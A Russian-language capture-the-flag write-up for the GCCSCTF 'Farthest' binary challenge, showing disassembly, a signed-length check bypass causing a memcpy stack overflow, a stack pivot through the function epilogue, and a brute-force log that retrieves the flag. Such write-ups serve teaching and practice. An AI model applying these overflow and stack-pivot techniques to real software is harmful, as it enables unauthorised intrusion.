Мы создали приложение для расчета расстояния между двумя звездами, посмотрим, сможете ли вы найти что-нибудь полезное.
nc 23.21.85.112 8030
Мы как d4rkc0de участвовали в GCCSCTF и заняли 3-е место в квалификации. Мы с нетерпением ждем участия в финале конкурса в Дели. В GCCSCTF задача Farthest была довольно интересной. Это была единственная пешка, и разгадывать ее было чертовски сложно. Но, тем не менее, у этой пешки есть чему поучиться.
root@d4rkc0de:~# python -c "print '2,' + '\xAA' * 8 + '\xBB' * 8 + '\xcc' * 8 + '\xdd' * 8" | ./farthest ============================================================= || Input data should be in the format as mentioned bellow. || || <num_points>,<array of 'num_points' struct points> || || num_points should be human readable. || || Rest of the data should be binary. || ============================================================= Enter Your data : 2,���������������� Number of points 2 Farthest distance 1456815990147462891125136942359339382185244158826619267593931664968442323048246672764155341958241671875972237215762610409185128240974392406835200.000000
Таким образом, двоичный файл принимает строку формата, вводимую в «inputData [40000]» (с использованием scanf). Несмотря на то, что он использует scanf для получения ввода, вы не можете переполнить буфер, потому что он слишком большой. Затем он вызывает strtoul и преобразует первое число в беззнаковое целое. Если вы дадите ему отрицательное число со знаком, вы получите действительно огромное число.
Затем в «самой дальней» функции проверяется число n, и это снова проверка со знаком.
.text:080487F3 cmp dword ptr [ebx+4], 824 .text:080487FA jg loc_804889E .text:08048800 mov eax, [ebx+4] .text:08048803 shl eax, 4 .text:08048806 push eax ; n .text:08048807 push dword ptr [ebx] ; src .text:08048809 lea eax, [ebp+buf] .text:0804880F push eax ; dest .text:08048810 call _memcpy .text:08048815 add esp, 0Ch .text:08048818 mov [ebp+i], 0
Мы можем легко обойти эту проверку и вызвать переполнение буфера memcpy на ebp + buf. Итак, теперь мы можем контролировать, сколько байтов мы хотим записать и что писать. У нас уже есть функция getFlag в двоичном файле, поэтому нам просто нужно перезаписать указатель возврата на ее адрес.
.text:0804873B ; void getFlag() .text:0804873B public getFlag .text:0804873B getFlag proc near .text:0804873B push ebp .text:0804873C mov ebp, esp .text:0804873E push offset s ; "Your flag is as follows" .text:08048743 call _puts .text:08048748 add esp, 4 .text:0804874B push offset command ; "/bin/cat flag.txt" .text:08048750 call _system .text:08048755 add esp, 4 .text:08048758 nop .text:08048759 leave .text:0804875A retn .text:0804875A getFlag endp
У нас легкий переполнение! Верно? или я так думал.
Даже после того, как вы воспользуетесь правильным смещением с новым указателем возврата, EIP не сможет его изменить из-за эпилога «самой дальней» функции:
.text:080488BC lea esp, [ebp-8] .text:080488BF pop ecx .text:080488C0 pop ebx .text:080488C1 pop ebp .text:080488C2 lea esp, [ecx-4] .text:080488C5 retn
Ага! Итак, мы загружаем ecx из нашего стека переполнения и оставляем его в esp. Мы поворачиваем стек до значения ecx. Это означает, что нам нужен адрес доступного для записи места, которое мы контролируем. нам, по сути, нужен указатель на наш ввод; который находится в стеке. Затем мы можем управлять ecx и esp и направлять поток программы. Также двоичный файл запускается на socat, который не будет отображать вывод, если двоичный файл не завершится корректно, поэтому убедитесь, что у нас есть вызов выхода сразу после getFlag. У нас есть 8 байтов полезной нагрузки, которые мы можем повторить при размере памяти ›12000 байт.
С таким огромным пространством легко подобрать адрес стека.
Я случайным образом выбрал один адрес «0xffc04f34», а затем позволил ему разорваться на 100 вращений, и мы получили наш флаг.
0xffc04f34 [0/1933] [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 53 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 54 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 55 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 56 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 57 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 58 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 59 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 60 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 61 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 62 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 63 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done [*] Closed connection to 23.21.85.112 port 8030 64 0xffc04f34 [+] Opening connection to 23.21.85.112 on port 8030: Done 0xffc04f34 4290793268 [*] Switching to interactive mode gccs{aUiuC7R1MXdOnLdzxJYp6hHqAHfQxeM0} $
Вот наш флаг. Наслаждаться! Спасибо, GCCSCTF!